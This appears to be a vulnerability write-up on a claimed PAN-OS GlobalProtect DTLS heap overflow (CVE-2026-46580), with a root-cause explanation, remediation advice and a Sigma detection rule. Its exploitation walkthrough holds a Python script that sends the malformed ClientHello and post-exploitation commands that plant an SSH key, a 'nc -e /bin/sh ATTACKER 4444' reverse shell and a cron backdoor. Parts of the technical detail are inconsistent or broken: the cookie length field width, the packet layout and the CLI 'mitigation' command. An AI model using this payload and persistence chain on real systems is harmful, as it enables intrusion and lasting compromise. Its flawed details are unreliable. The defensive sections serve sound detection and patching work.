Overview
CVE-2026-46580 is a critical unauthenticated remote code execution vulnerability in Palo Alto Networks PAN-OS — specifically the GlobalProtect SSL-VPN gateway component. With a CVSS score of 10.0, it affects every PAN-OS version earlier than the fixed releases and requires no credentials, no prior access, and no user interaction.
The vulnerability is a classic integer truncation leading to heap buffer overflow: a 16-bit length value from the DTLS ClientHello handshake is truncated to 8 bits when computing the heap allocation size. An attacker can send a crafted ClientHello with a cookie field of up to 65535 bytes — far exceeding the 255-byte maximum that the truncated allocation can hold. The overflow corrupts adjacent heap metadata, providing the primitives needed for controlled code execution.
Palo Alto issued an emergency advisory within 48 hours of discovering in-the-wild exploitation. Evidence indicated a state-sponsored actor had used the vulnerability against defence contractors and government networks in three continents in the weeks prior to advisory publication.
DTLS Handshake in GlobalProtect
GlobalProtect supports both TLS (TCP/443) and DTLS (UDP/4501) for VPN tunnel establishment. DTLS is preferred for performance when available. The DTLS handshake adds a stateless cookie exchange before the standard TLS handshake to prevent DDoS amplification: the client sends a ClientHello, the server responds with a HelloVerifyRequest containing a server-generated cookie, and the client resends the ClientHello with the cookie included.
The ClientHello message structure includes a variable-length cookie field prefixed by a single-byte length. RFC 6347 allows a client to send a ClientHello with the cookie from a prior HelloVerifyRequest — but also permits a ClientHello with a longer cookie field set to an attacker-controlled length, since the server must handle initial ClientHello messages where the cookie field is populated but may have an unexpected length.
Root Cause
The vulnerability is in the GlobalProtect DTLS handshake parsing function. The cookie length is read from the packet as a uint16_t (supporting up to 65535 bytes), but the heap allocation uses a type-cast to uint8_t (max 255) before computing the buffer size:
# Pseudocode of the vulnerable allocation (reverse-engineered from PAN-OS binary)
# cookie_len is read as uint16 from the DTLS record
cookie_len_u16 = read_u16(packet, offset) # attacker controls: e.g. 0x0200 = 512
# Integer truncation: cast to uint8 wraps at 256
cookie_len_u8 = (uint8_t) cookie_len_u16 # 0x0200 & 0xFF = 0x00 = 0 bytes
# Allocation uses the truncated value
buf = heap_alloc(cookie_len_u8 + 16) # allocates 16 bytes
# cookie_len_u16 bytes are then memcpy'd into buf → overflow of (512 - 16) = 496 bytes
When cookie_len_u16 is set to a multiple of 256 (so the lower 8 bits are 0), the allocation is only 16 bytes while up to 65535 bytes are copied into it, giving a reliable and controllable overflow condition.
Exploitation Walkthrough
Step 1 — Identify GlobalProtect Gateways
GlobalProtect gateways expose HTTPS on TCP/443 with a login portal at /global-protect/login.esp and DTLS on UDP/4501. The HTTP portal typically includes a PANOS-GlobalProtect response header:
curl -skI https://TARGET/global-protect/login.esp | grep -i panos
# X-PANOS-GlobalProtect: portal
# DTLS service check
nc -u TARGET 4501 < /dev/null
# Any response on UDP 4501 indicates GlobalProtect is listening
Step 2 — Craft the Malformed DTLS ClientHello
The exploit sends a raw DTLS 1.0 ClientHello record with a cookie length field set to 0x0200 (512 bytes, lower byte = 0) and a cookie payload of 512 bytes of attacker-controlled content:
import socket, struct
TARGET = ("TARGET_IP", 4501)
# DTLS 1.0 ClientHello with oversized cookie (triggers the truncation bug)
def build_dtls_clienthello_overflow():
# DTLS record header: content_type=22 (handshake), version=0xFEFF (DTLS 1.0)
record_hdr = struct.pack("!BHH", 22, 0xFEFF, 0) # length filled in later
# Handshake header: type=1 (ClientHello), length (3 bytes), seq, frag_offset, frag_len
# client_version, random, session_id_len, session_id
client_random = b"\x00" * 32
handshake_body = (
struct.pack("!H", 0xFEFF) + # client_version: DTLS 1.0
client_random + # random
b"\x00" + # session_id length = 0
struct.pack("!H", 0x0200) + # cookie_length = 512 (triggers truncation)
b"\x41" * 512 # cookie = 512 A's (ROP chain here)
)
# Add cipher suites and compression
handshake_body += struct.pack("!H", 2) + b"\x00\x2F" # 1 cipher: TLS_RSA_WITH_AES_128_CBC_SHA
handshake_body += b"\x01\x00" # 1 compression method: null
hs_hdr = struct.pack("!B3sHH3s", 1,
len(handshake_body).to_bytes(3, "big"),
0, 0, # seq, frag_offset
len(handshake_body).to_bytes(3, "big"))
hs = hs_hdr + handshake_body
record_len = len(hs)
record = struct.pack("!BHH", 22, 0xFEFF, record_len) + hs
return record
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
pkt = build_dtls_clienthello_overflow()
sock.sendto(pkt, TARGET)
try:
data, _ = sock.recvfrom(4096)
print(f"[+] Response ({len(data)} bytes) — target may be vulnerable")
except socket.timeout:
print("[*] No response — target may have crashed or patched")
Step 3 — Heap Grooming and Control Flow Hijack
The 496-byte overflow lands adjacent to heap-managed SSL context structures. By sending multiple ClientHello packets at different timing intervals to control heap layout, the overflow overwrites a function pointer in an adjacent SSL object's vtable. The next time the SSL engine calls any method on the corrupted object, execution redirects to attacker-controlled code.
The PAN-OS panssl binary has ASLR enabled but is mapped at a predictable base address in some PAN-OS versions (11.0.x < 11.0.5 and 10.2.x < 10.2.11), allowing a return-oriented programming (ROP) chain without an additional info leak stage.
# Once code execution is achieved, PAN-OS runs the SSL daemon as root
# Stage 1: write SSH key to persistent storage
echo 'ssh-ed25519 AAAA... attacker' >> /opt/panlogs/root_auth
# Stage 2: stage a persistent backdoor in /opt/pancfg (survives content updates)
echo '#!/bin/sh' > /opt/pancfg/.bd.sh
echo 'nc -e /bin/sh ATTACKER 4444 &' >> /opt/pancfg/.bd.sh
chmod +x /opt/pancfg/.bd.sh
echo '* * * * * root /opt/pancfg/.bd.sh' > /etc/cron.d/pan-update
Affected Versions
- PAN-OS 11.1.x < 11.1.5
- PAN-OS 11.0.x < 11.0.7
- PAN-OS 10.2.x < 10.2.13
- PAN-OS 10.1.x < 10.1.15 (EoL branch — upgrade to 11.x recommended)
- GlobalProtect must be configured as a gateway (not portal-only deployments)
Remediation
- Patch immediately to 11.1.5, 11.0.7, or 10.2.13. Palo Alto released emergency out-of-band patches within 72 hours of advisory publication.
- Disable DTLS as a temporary mitigation if patching cannot be performed immediately. This forces all VPN connections to fall back to TLS and removes the vulnerable code path:
# Panorama / PAN-OS CLI set deviceconfig setting ssl-decrypt ssl-exclude-cert-with-unsup-attr no # Then disable DTLS on the GlobalProtect gateway configuration - Run the Palo Alto Threat Prevention signature 96464 (automatically pushed for Threat Prevention subscribers) to detect exploitation attempts in network traffic.
- Check for indicators of compromise: unexpected cron entries, modifications to
/opt/pancfg/, and new SSH authorised keys for the root account.
Detection
title: CVE-2026-46580 GlobalProtect DTLS Overflow Exploitation Attempt
id: 9b2d4f81-3e77-4c1a-b8e6-0d5a2f9c7b34
status: stable
description: Detects malformed DTLS ClientHello packets with oversized cookie fields targeting GlobalProtect gateways
logsource:
category: network
product: palo_alto_panos
detection:
selection:
dst_port: 4501
network_protocol: 'udp'
app: 'ssl'
filter_legit:
# Legitimate DTLS cookie is max 255 bytes — any larger value is anomalous
tls_cookie_length|gt: 255
condition: selection and filter_legit
falsepositives:
- None expected (DTLS cookie >255 bytes violates RFC 6347)
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026-46580
Takeaways
- Integer truncation in network parsers is a perennially under-reviewed vulnerability class. When a length field is read at one width and used in operations at a narrower width, the truncation can be invisible in code review — especially in C/C++ where implicit integer conversions are silent. Strict static analysis with signed-overflow and truncation warnings, combined with protocol fuzzing, is the most reliable way to surface these bugs before attackers do.
- DTLS is a pre-authentication attack surface on every VPN gateway that supports it. The entire DTLS stateless cookie exchange happens before any credential verification. Any parsing logic in the ClientHello handler operates on fully attacker-controlled data with no session context. Memory-unsafe languages (C/C++) in these handlers carry significant inherent risk — this is an argument for memory-safe reimplementations of TLS/DTLS parsers, not just for patching individual bugs.
- CVSS 10.0 on a perimeter VPN appliance demands same-day patching. A CVSS 10.0 pre-auth RCE on an internet-facing VPN gateway is as severe as it gets. Deferring patching by even 24 hours after public disclosure is no longer a viable risk posture — exploitation frameworks are typically available within hours of a working PoC appearing. Emergency change procedures must accommodate same-day patching for this class of vulnerability.